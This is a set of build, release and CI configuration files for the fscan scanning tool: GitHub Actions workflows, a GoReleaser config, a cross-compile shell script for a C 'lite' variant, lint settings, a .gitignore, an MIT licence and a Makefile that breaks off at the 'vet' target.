name: '构建和发布'
description: 'fscan 可复用构建动作'
inputs:
mode:
description: '构建模式: release 或 snapshot'
required: true
default: 'snapshot'
go-version:
description: 'Go 版本'
required: false
default: '1.20'
retention-days:
description: '产物保留天数'
required: false
default: '7'
release-args:
description: '额外的 goreleaser 参数'
required: false
default: ''
runs:
using: 'composite'
steps:
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: ${{ inputs.go-version }}
cache: true
- name: 安装 C 编译工具
shell: bash
run: |
sudo apt-get update -qq
sudo apt-get install -y gcc make mingw-w64 gcc-multilib g++-multilib
- name: 下载依赖
shell: bash
run: |
go mod download
go mod verify
- name: 安装 UPX
uses: crazy-max/ghaction-upx@v3
with:
install-only: true
- name: 使用 GoReleaser 构建
uses: goreleaser/goreleaser-action@v6
with:
distribution: goreleaser
version: latest
args: release ${{ inputs.mode == 'snapshot' && '--snapshot' || '' }} --clean -f .github/conf/.goreleaser.yml ${{ inputs.release-args }}
env:
GITHUB_TOKEN: ${{ github.token }}
GITHUB_OWNER: ${{ github.repository_owner }}
GITHUB_REPO: ${{ github.event.repository.name }}
PROJECT_NAME: ${{ github.event.repository.name }}
- name: 上传产物
uses: actions/upload-artifact@v4
if: always()
with:
name: build-${{ inputs.mode }}-${{ github.run_id }}
path: |
dist/
dist-lite/
retention-days: ${{ inputs.retention-days }}
- name: 生成报告
shell: bash
if: always()
run: |
cat >> $GITHUB_STEP_SUMMARY << EOF
# 构建报告
| 项目 | 值 |
|------|-----|
| 模式 | \`${{ inputs.mode }}\` |
| 版本 | \`${GITHUB_REF_NAME}\` |
| 提交 | \`${GITHUB_SHA:0:7}\` |
| Go | \`$(go version | awk '{print $3}')\` |
## 构建产物
### fscan (Go 版本)
$(if [ -d "dist" ]; then
echo "- 文件数: $(find dist -type f 2>/dev/null | wc -l)"
echo "- 大小: $(du -sh dist 2>/dev/null | cut -f1)"
else
echo "- 无产物"
fi)
### fscan-lite (C 版本)
$(if [ -d "dist-lite" ]; then
echo "- 文件数: $(find dist-lite -type f 2>/dev/null | wc -l)"
echo "- 大小: $(du -sh dist-lite 2>/dev/null | cut -f1)"
else
echo "- 无产物"
fi)
[查看产物](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})
EOF
+248
View File
@@ -0,0 +1,248 @@
project_name: "fscan"
before:
hooks:
- go mod tidy
- go mod download
- chmod +x .github/scripts/build-lite.sh
- bash .github/scripts/build-lite.sh {{ .Version }}
builds:
# 标准版 - 全部插件(全架构)
- id: fscan
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin, freebsd, solaris]
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
goarm: ["5", "6", "7"]
gomips: [softfloat]
ignore:
- goos: darwin
goarch: "386"
- goos: darwin
goarch: arm
- goos: darwin
goarch: mips
- goos: darwin
goarch: mips64
- goos: darwin
goarch: mipsle
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: windows
goarch: mips
- goos: windows
goarch: mips64
- goos: windows
goarch: mipsle
- goos: freebsd
goarch: mips
- goos: freebsd
goarch: mips64
- goos: freebsd
goarch: mipsle
- goos: solaris
goarch: "386"
- goos: solaris
goarch: arm
- goos: solaris
goarch: arm64
- goos: solaris
goarch: mips
- goos: solaris
goarch: mips64
- goos: solaris
goarch: mipsle
flags: [-trimpath]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
# 无本地插件版 - 排除本地模块(全架构)
- id: fscan-nolocal
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin, freebsd, solaris]
goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle]
goarm: ["5", "6", "7"]
gomips: [softfloat]
ignore:
- goos: darwin
goarch: "386"
- goos: darwin
goarch: arm
- goos: darwin
goarch: mips
- goos: darwin
goarch: mips64
- goos: darwin
goarch: mipsle
- goos: windows
goarch: arm64
- goos: windows
goarch: arm
- goos: windows
goarch: mips
- goos: windows
goarch: mips64
- goos: windows
goarch: mipsle
- goos: freebsd
goarch: mips
- goos: freebsd
goarch: mips64
- goos: freebsd
goarch: mipsle
- goos: solaris
goarch: "386"
- goos: solaris
goarch: arm
- goos: solaris
goarch: arm64
- goos: solaris
goarch: mips
- goos: solaris
goarch: mips64
- goos: solaris
goarch: mipsle
flags: [-trimpath]
tags: [no_local]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
# WebUI版 - 主流平台即可
- id: fscan-web
binary: fscan
main: .
env:
- CGO_ENABLED=0
goos: [windows, linux, darwin]
goarch: [amd64, arm64, "386"]
goarm: ["7"]
ignore:
- goos: darwin
goarch: "386"
- goos: windows
goarch: arm64
flags: [-trimpath]
tags: [web]
ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }}
mod_timestamp: "{{ .CommitTimestamp }}"
upx:
- ids: [fscan, fscan-nolocal, fscan-web]
enabled: true
goos: [windows, linux, freebsd]
goarch: [amd64, "386", arm, arm64, mips, mipsle]
compress: best
brute: false
lzma: false
archives:
# 标准版归档
- id: fscan
builds: [fscan]
format: binary
allow_different_binary_count: true
name_template: >-
fscan_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# 无本地插件版归档
- id: fscan-nolocal
builds: [fscan-nolocal]
format: binary
allow_different_binary_count: true
name_template: >-
fscan-nolocal_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
# WebUI版归档
- id: fscan-web
builds: [fscan-web]
format: binary
allow_different_binary_count: true
name_template: >-
fscan-web_{{ .Version }}_
{{- if eq .Os "darwin" }}mac
{{- else }}{{ .Os }}{{ end }}_
{{- if eq .Arch "amd64" }}x64
{{- else if eq .Arch "386" }}x32
{{- else }}{{ .Arch }}{{ end }}
{{- if .Arm }}v{{ .Arm }}{{ end }}
checksum:
name_template: 'checksums.txt'
algorithm: sha256
changelog:
sort: asc
use: github
filters:
exclude:
- "^(docs|test|ci|chore):"
- "Merge (pull request|branch)"
groups:
- title: "🚀 新功能"
regexp: "^.*feat[(\\w)]*:+.*$"
order: 0
- title: "🐛 问题修复"
regexp: "^.*fix[(\\w)]*:+.*$"
order: 1
- title: "🔧 其他改进"
order: 999
release:
github:
owner: "{{ .Env.GITHUB_OWNER }}"
name: "{{ .Env.GITHUB_REPO }}"
draft: false
prerelease: auto
mode: replace
header: |
## {{ .ProjectName }} {{ .Tag }}
感谢使用 {{ .ProjectName }}
### 版本说明
| 版本 | 说明 |
|------|------|
| **fscan** | 标准版,包含全部插件(推荐) |
| **fscan-nolocal** | 精简版,不含本地模块(体积更小) |
| **fscan-web** | WebUI版,带Web管理界面(主流平台) |
### 平台支持
| 平台 | 架构 |
|------|------|
| Linux | x64, x32, arm64, armv5, armv6, armv7, mips, mips64, mipsle |
| Windows | x64, x32 |
| macOS | x64, arm64 |
| FreeBSD | x64, x32, arm64, armv5, armv6, armv7 |
| Solaris | x64 |
footer: |
**完整更新日志**: https://github.com/{{ .Env.GITHUB_OWNER }}/{{ .Env.GITHUB_REPO }}/compare/{{ .PreviousTag }}...{{ .Tag }}
extra_files:
- glob: ./dist-lite/*
snapshot:
name_template: "{{ incpatch .Version }}-dev-{{ .ShortCommit }}"
metadata:
mod_timestamp: "{{ .CommitTimestamp }}"
+81
View File
@@ -0,0 +1,81 @@
#!/bin/bash
# 构建 fscan-lite 并准备发布产物
set -e
VERSION="${1:-dev}"
LITE_DIR="fscan-lite"
OUTPUT_DIR="dist-lite"
echo "==> 构建 fscan-lite (版本: $VERSION)"
# 清理旧产物
rm -rf "$OUTPUT_DIR"
mkdir -p "$OUTPUT_DIR"
# 进入 lite 目录
cd "$LITE_DIR"
# 源文件
SOURCES="src/main.c src/scanner.c src/platform.c"
INCLUDE="-Iinclude"
CFLAGS_BASE="-std=c89 -Wall -O2"
# 构建 Linux 版本
echo "==> 构建 Linux 版本..."
# Linux x64
echo " - Linux x64"
mkdir -p bin
gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite $SOURCES -lpthread
cp bin/fscan-lite "../$OUTPUT_DIR/fscan-lite_${VERSION}_linux_x64"
rm -rf bin
# Linux x32
echo " - Linux x32"
mkdir -p bin
gcc $CFLAGS_BASE -m32 $INCLUDE -o bin/fscan-lite $SOURCES -lpthread 2>/dev/null || echo " (跳过: 缺少 32-bit 支持)"
if [ -f bin/fscan-lite ]; then
cp bin/fscan-lite "../$OUTPUT_DIR/fscan-lite_${VERSION}_linux_x32"
fi
rm -rf bin
# 构建 Windows 版本
echo "==> 构建 Windows 版本..."
# Windows x64
echo " - Windows x64"
mkdir -p bin
x86_64-w64-mingw32-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite.exe $SOURCES -lws2_32 -static
if [ -f bin/fscan-lite.exe ]; then
cp bin/fscan-lite.exe "../$OUTPUT_DIR/fscan-lite_${VERSION}_windows_x64.exe"
echo " ✓ 编译成功"
else
echo " ✗ 编译失败"
fi
rm -rf bin
# Windows x32
echo " - Windows x32"
mkdir -p bin
i686-w64-mingw32-gcc $CFLAGS_BASE $INCLUDE -o bin/fscan-lite.exe $SOURCES -lws2_32 -static
if [ -f bin/fscan-lite.exe ]; then
cp bin/fscan-lite.exe "../$OUTPUT_DIR/fscan-lite_${VERSION}_windows_x32.exe"
echo " ✓ 编译成功"
else
echo " ✗ 编译失败"
fi
rm -rf bin
cd ..
# 统计产物
echo ""
echo "==> 构建完成!"
echo "产物列表:"
if [ -d "$OUTPUT_DIR" ]; then
ls -lh "$OUTPUT_DIR" 2>/dev/null || echo " (无产物)"
echo ""
FILECOUNT=$(ls "$OUTPUT_DIR" 2>/dev/null | wc -l)
echo "总计: $FILECOUNT 个文件"
fi
+81
View File
@@ -0,0 +1,81 @@
name: Project 自动化
on:
issues:
types: [opened, closed, reopened]
env:
PROJECT_URL: https://github.com/users/shadow1ng/projects/1
jobs:
# Issue/PR 创建时添加到 Project,状态设为"要搞"
add-to-project:
if: github.event.action == 'opened'
runs-on: ubuntu-latest
steps:
- name: Add to project
uses: actions/[email protected]
id: add
with:
project-url: ${{ env.PROJECT_URL }}
github-token: ${{ secrets.GITHUB_TOKEN }}
- name: Set status to 要搞
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.add.outputs.itemId }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id f75ad846
# Issue/PR 关闭时状态设为"搞定"
close-item:
if: github.event.action == 'closed'
runs-on: ubuntu-latest
steps:
- name: Get item ID
id: get-item
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
- name: Set status to 搞定
if: steps.get-item.outputs.item_id != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.get-item.outputs.item_id }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id 98236657
# Issue/PR 重新打开时状态设为"在搞"
reopen-item:
if: github.event.action == 'reopened'
runs-on: ubuntu-latest
steps:
- name: Get item ID
id: get-item
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
ITEM_ID=$(gh project item-list 1 --owner shadow1ng --format json | \
jq -r '.items[] | select(.content.number == ${{ github.event.issue.number || github.event.pull_request.number }}) | .id')
echo "item_id=$ITEM_ID" >> $GITHUB_OUTPUT
- name: Set status to 在搞
if: steps.get-item.outputs.item_id != ''
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh project item-edit \
--project-id PVT_kwHOAl0Kfs4BCgG2 \
--id ${{ steps.get-item.outputs.item_id }} \
--field-id PVTSSF_lAHOAl0Kfs4BCgG2zg0sX8A \
--single-select-option-id 47fc9ee4
+42
View File
@@ -0,0 +1,42 @@
name: 发布
on:
push:
tags:
- 'v*'
workflow_dispatch:
inputs:
snapshot:
description: '仅测试构建(不发布)'
type: boolean
default: false
draft:
description: '创建草稿发布'
type: boolean
default: false
prerelease:
description: '标记为预发布'
type: boolean
default: false
permissions:
contents: write
jobs:
release:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: 检出代码
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: 构建和发布
uses: ./.github/actions/build-release
with:
mode: ${{ inputs.snapshot && 'snapshot' || 'release' }}
go-version: '1.20'
retention-days: '90'
release-args: ${{ inputs.draft && '--draft' || '' }} ${{ inputs.prerelease && '--prerelease' || '' }}
+202
View File
@@ -0,0 +1,202 @@
name: 测试构建
on:
push:
branches:
- main
- dev
- dev-*
- develop
- feature/*
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
pull_request:
branches:
- main
- master
- dev
paths-ignore:
- '*.md'
- '*.txt'
- 'README*'
- 'LICENSE*'
- 'image/**'
- 'TestDocker/**'
- '**/*.png'
- '**/*.jpg'
- '**/*.jpeg'
workflow_dispatch:
permissions:
contents: read
jobs:
lint:
name: 代码检查
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.23'
cache: true
- name: 运行 golangci-lint
run: |
# 安装 golangci-lint v2
go install github.com/golangci/golangci-lint/v2/cmd/[email protected]
# 运行检查并灵活处理结果
set +e
golangci-lint run --timeout=5m > lint_output.txt 2>&1
LINT_EXIT_CODE=$?
cat lint_output.txt
set -e
# 只关注真正的 bug,忽略代码质量建议
# 过滤规则:
# - gocognit/gocyclo: 复杂度警告(阈值已在配置中设置)
# - QF/S/ST: staticcheck 的代码质量改进建议(非bug)
if [ $LINT_EXIT_CODE -ne 0 ]; then
CRITICAL_ISSUES=$(grep -E "\.go:[0-9]+:[0-9]+:" lint_output.txt | grep -v "gocognit" | grep -v "gocyclo" | grep -v "QF[0-9]" | grep -v " S[0-9]" | grep -v "ST[0-9]" || true)
if [ -n "$CRITICAL_ISSUES" ]; then
echo "❌ Linting failed with critical issues:"
echo "$CRITICAL_ISSUES" | head -20
exit 1
else
echo "⚠️ Only quality suggestions - PASSING"
exit 0
fi
fi
echo "✅ No lint issues found"
- name: 检查代码复杂度(质量门禁)
run: |
echo "### 🚦 复杂度质量门禁" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 检查认知复杂度>80的函数
COMPLEX_FUNCS=$(golangci-lint run --disable-all --enable=gocognit --out-format=line-number 2>&1 | grep "cognitive complexity" | grep -v "typechecking" || true)
if [ -n "$COMPLEX_FUNCS" ]; then
HIGH_COMPLEX=$(echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print}' | wc -l)
if [ "$HIGH_COMPLEX" -gt 0 ]; then
echo "❌ **发现 $HIGH_COMPLEX 个复杂度>80的函数**" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "$COMPLEX_FUNCS" | awk '{print $NF}' | sed 's/[()]//g' | awk -F'>' '{if ($1 > 80) print "复杂度:", $1, "- 必须重构"}' >> $GITHUB_STEP_SUMMARY
echo '```' >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "⚠️ 请重构复杂度>80的函数后再提交" >> $GITHUB_STEP_SUMMARY
exit 1
fi
fi
echo "✅ 代码复杂度检查通过(所有函数≤80" >> $GITHUB_STEP_SUMMARY
test:
name: 单元测试和构建
runs-on: ubuntu-latest
timeout-minutes: 10
needs: lint
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 下载依赖
run: |
go mod download
go mod verify
- name: 运行测试
run: |
# 排除第三方grdp库测试(存在环境依赖问题)
go test -vet=off -race -coverprofile=coverage.out -covermode=atomic $(go list ./... | grep -v '/mylib/grdp/')
- name: 上传覆盖率
uses: actions/upload-artifact@v4
with:
name: coverage-report
path: coverage.out
retention-days: 7
- name: 显示覆盖率
run: |
echo "### 测试覆盖率报告" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
go tool cover -func=coverage.out >> $GITHUB_STEP_SUMMARY
- name: 检查覆盖率(质量门禁)
run: |
echo "" >> $GITHUB_STEP_SUMMARY
echo "### 🚦 覆盖率质量门禁" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 提取总体覆盖率
TOTAL_COVERAGE=$(go tool cover -func=coverage.out | grep total | awk '{print $3}' | sed 's/%//')
echo "总体覆盖率: ${TOTAL_COVERAGE}%" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
# 检查核心模块覆盖率(core, common/parsers必须>50%
CORE_COVERAGE=$(go tool cover -func=coverage.out | grep "^github.com/shadow1ng/fscan/core/" | grep -v "_test.go" | awk '{sum+=$3; count++} END {if(count>0) print sum/count; else print 0}')
PARSERS_COVERAGE=$(go tool cover -func=coverage.out | grep "^github.com/shadow1ng/fscan/common/parsers/" | grep -v "_test.go" | awk '{sum+=$3; count++} END {if(count>0) print sum/count; else print 0}')
# 警告阈值:总体<40%, 核心模块<50%
if (( $(echo "$TOTAL_COVERAGE < 40" | bc -l) )); then
echo "⚠️ **警告**: 总体覆盖率 ${TOTAL_COVERAGE}% < 40%,建议补充测试" >> $GITHUB_STEP_SUMMARY
fi
# 检查是否有新增的未测试文件(0%覆盖率)
ZERO_COVERAGE_FILES=$(go tool cover -func=coverage.out | awk '$3 == "0.0%" && $1 !~ /_test\.go/' | wc -l)
if [ "$ZERO_COVERAGE_FILES" -gt 0 ]; then
echo "⚠️ **警告**: 发现 $ZERO_COVERAGE_FILES 个文件覆盖率为0%" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
echo "请为新代码补充单元测试" >> $GITHUB_STEP_SUMMARY
else
echo "✅ 覆盖率检查通过" >> $GITHUB_STEP_SUMMARY
fi
build:
name: 构建验证
runs-on: ubuntu-latest
timeout-minutes: 5
needs: test
steps:
- name: 检出代码
uses: actions/checkout@v4
- name: 设置 Go 环境
uses: actions/setup-go@v5
with:
go-version: '1.20'
cache: true
- name: 构建验证
run: |
# 只验证能否编译通过,不需要多平台构建
echo "🔨 验证 Linux/amd64 构建..."
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o /dev/null .
echo "✅ 构建成功"
+99
View File
@@ -0,0 +1,99 @@
result.txt
result.json
main
.idea
fscan.exe
fscan
fscanapi.csv
# IDE files / IDE 文件
.vscode/
.cursor/
.cursorrules
.claude/
# Local development files / 本地开发文件
*.local
*.tmp
*.temp
.env
.env.local
.env.development
.env.test
.env.production
# OS files / 操作系统文件
.DS_Store
.DS_Store?
._*
.Spotlight-V100
.Trashes
ehthumbs.db
Thumbs.db
desktop.ini
# Logs / 日志文件
*.log
logs/
log/
# Test coverage / 测试覆盖率
coverage.txt
coverage.html
*.cover
*.out
coverage*.out
# Test artifacts / 测试产物
*_report.txt
*_output.txt
*_test_*.txt
race_report.txt
test_output.txt
# Build artifacts / 构建产物
build/
bin/
*.exe
*.dll
*.so
*.dylib
# Web UI build / Web前端构建
web-ui/node_modules/
web-ui/dist/
!web/dist/
# Go specific / Go 相关
vendor/
*.test
*.prof
*.mem
*.cpu
__debug_bin*
go.work
go.work.sum
# Performance profiling / 性能分析
profiles/
# Local development tools / 本地开发工具
.air.toml
air_tmp/
# Todo files / Todo文件
Todo列表.md
*todo*.md
*TODO*.md
# Claude documentation / Claude文档
.claude_docs/
# Cleaner plugin artifacts / 清理插件产物
cleanup.bat
cleanup.sh
cleanup_script_*
# Compilation objects / 编译对象文件
*.o
*.a
+52
View File
@@ -0,0 +1,52 @@
# golangci-lint v2 配置
version: "2"
run:
timeout: 5m
linters:
default: none
enable:
- govet
- errcheck
- staticcheck
- unused
- ineffassign
- gocyclo
- gocognit
settings:
govet:
disable:
- printf
errcheck:
check-type-assertions: true
exclude-functions:
- (net.Conn).Close
- (*os.File).Close
- os.Remove
- (github.com/hirochachacha/go-smb2.Session).Logoff
- (github.com/hirochachacha/go-smb2.Share).Umount
gocyclo:
min-complexity: 35
gocognit:
min-complexity: 80
exclusions:
generated: lax
rules:
- path: _test\.go
linters:
- gocyclo
- gocognit
- errcheck
- linters:
- govet
text: "fieldalignment:"
paths:
- vendor
- testdocker
- image
- mylib/grdp
issues:
max-issues-per-linter: 50
max-same-issues: 3
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 shadow1ng
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+191
View File
@@ -0,0 +1,191 @@
# fscan Makefile
# 提供统一的构建、测试、检查命令
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
# 默认目标
.DEFAULT_GOAL := help
# 项目配置
BINARY_NAME := fscan
GO := go
GOLANGCI_LINT := golangci-lint
# 颜色输出
BLUE := \033[0;34m
GREEN := \033[0;32m
RED := \033[0;31m
NC := \033[0m # No Color
## help: 显示帮助信息
help:
@echo "$(BLUE)fscan 构建工具$(NC)"
@echo ""
@echo "$(GREEN)可用命令:$(NC)"
@grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /'
@echo ""
## deps: 下载依赖
deps:
@echo "$(BLUE)下载依赖...$(NC)"
$(GO) mod download
$(GO) mod verify
@echo "$(GREEN)✓ 依赖下载完成$(NC)"
## test: 运行测试
test:
@echo "$(BLUE)运行测试...$(NC)"
# 禁用go test内置的vet检查,因为i18n.GetTextF的间接格式化模式与vet的printf检查冲突
# golangci-lint会运行完整的vet检查(已在.golangci.yml中禁用printf
$(GO) test -vet=off -race -v ./...
@echo "$(GREEN)✓ 测试通过$(NC)"
## test-cover: 运行测试并生成覆盖率报告
test-cover:
@echo "$(BLUE)运行测试(带覆盖率)...$(NC)"
# 禁用go test内置的vet检查,原因同上
$(GO) test -vet=off -race -coverprofile=coverage.out -covermode=atomic ./...
@echo ""
@echo "$(BLUE)覆盖率报告:$(NC)"
$(GO) tool cover -func=coverage.out | tail -1
@echo ""
@echo "$(GREEN)生成 HTML 报告: coverage.html$(NC)"
$(GO) tool cover -html=coverage.out -o coverage.html
@echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)"
## build: 构建生产版本(无 pprof,优化体积)
build:
@echo "$(BLUE)构建生产版本(无 pprof...$(NC)"
$(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)"
## build-web: 构建带Web UI的版本(需要先构建前端)
build-web: build-ui
@echo "$(BLUE)构建Web版本...$(NC)"
$(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)"
@echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web -web 启动Web界面$(NC)"
## build-ui: 构建前端(需要Node.js和npm
build-ui:
@echo "$(BLUE)构建前端...$(NC)"
@if [ ! -d "web-ui" ]; then \
echo "$(RED)错误: web-ui 目录不存在$(NC)"; \
echo "请先创建前端项目"; \
exit 1; \
fi
@cd web-ui && npm install && npm run build
@rm -rf web/dist
@cp -r web-ui/dist web/dist
@echo "$(GREEN)✓ 前端构建完成$(NC)"
## build-debug: 构建调试版本(带 pprof
build-debug:
@echo "$(BLUE)构建调试版本(带 pprof...$(NC)"
$(GO) build -tags=debug -o $(BINARY_NAME)_debug .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_debug$(NC)"
@echo "$(BLUE)提示: 运行后访问 http://localhost:6060/debug/pprof$(NC)"
## build-race: 构建 race 检测版本
build-race:
@echo "$(BLUE)构建 race 检测版本...$(NC)"
$(GO) build -race -tags=debug -o $(BINARY_NAME)_race .
@echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)_race$(NC)"
@echo "$(BLUE)提示: 运行时会检测数据竞争,性能会降低$(NC)"
## build-all: 构建所有平台的二进制文件
build-all:
@echo "$(BLUE)构建所有平台...$(NC)"
@echo "Windows amd64..."
GOOS=windows GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-windows-amd64.exe .
@echo "Linux amd64..."
GOOS=linux GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-linux-amd64 .
@echo "Darwin amd64..."
GOOS=darwin GOARCH=amd64 $(GO) build -o dist/$(BINARY_NAME)-darwin-amd64 .
@echo "$(GREEN)✓ 所有平台构建完成$(NC)"
## lint: 运行代码检查
lint:
@echo "$(BLUE)运行代码检查...$(NC)"
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
echo "运行 'make install-tools' 安装"; \
exit 1; }
$(GOLANGCI_LINT) run ./...
@echo "$(GREEN)✓ 代码检查通过$(NC)"
## lint-fix: 运行代码检查并自动修复
lint-fix:
@echo "$(BLUE)运行代码检查(自动修复)...$(NC)"
@command -v $(GOLANGCI_LINT) >/dev/null 2>&1 || \
{ echo "$(RED)错误: golangci-lint 未安装$(NC)"; \
echo "运行 'make install-tools' 安装"; \
exit 1; }
$(GOLANGCI_LINT) run --fix ./...
@echo "$(GREEN)✓ 代码检查完成(已自动修复)$(NC)"
## clean: 清理构建产物
clean:
@echo "$(BLUE)清理构建产物...$(NC)"
rm -f $(BINARY_NAME) $(BINARY_NAME).exe
rm -f $(BINARY_NAME)_debug $(BINARY_NAME)_debug.exe
rm -f $(BINARY_NAME)_race $(BINARY_NAME)_race.exe
rm -f coverage.out coverage.html
rm -rf dist/ tests/logs/
@echo "$(GREEN)✓ 清理完成$(NC)"
## stress-test: 压力测试(需要先 build-debug
stress-test:
@echo "$(BLUE)压力测试...$(NC)"
@if [ ! -f $(BINARY_NAME)_debug ] && [ ! -f $(BINARY_NAME)_debug.exe ]; then \
echo "$(RED)错误: $(BINARY_NAME)_debug 不存在$(NC)"; \
echo "请先运行 'make build-debug'"; \
exit 1; \
fi
@if [ -f tests/stress_test.sh ]; then \
bash tests/stress_test.sh; \
else \
echo "$(RED)错误: tests/stress_test.sh 不存在$(NC)"; \
echo "请先创建压力测试脚本"; \
exit 1; \
fi
## ci: CI流程(lint + test + build
ci: lint test build
@echo "$(GREEN)✓ CI流程完成$(NC)"
## install-tools: 安装开发工具
install-tools:
@echo "$(BLUE)安装开发工具...$(NC)"
@echo "检查 golangci-lint..."
@if command -v $(GOLANGCI_LINT) >/dev/null 2>&1; then \
echo "$(GREEN)✓ golangci-lint 已安装$(NC)"; \
$(GOLANGCI_LINT) version; \
else \
echo "$(BLUE)安装 golangci-lint...$(NC)"; \
if command -v go >/dev/null 2>&1; then \
echo "使用 go install 安装..."; \
go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest && \
echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
$(GOLANGCI_LINT) version || \
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
echo "或访问: https://golangci-lint.run/welcome/install/"; \
exit 1; }; \
else \
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
exit 1; \
fi; \
fi
## fmt: 格式化代码
fmt:
@echo "$(BLUE)格式化代码...$(NC)"
$(GO) fmt ./...
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
## vet: 运行 go vet(跳过printf检查)
vet:
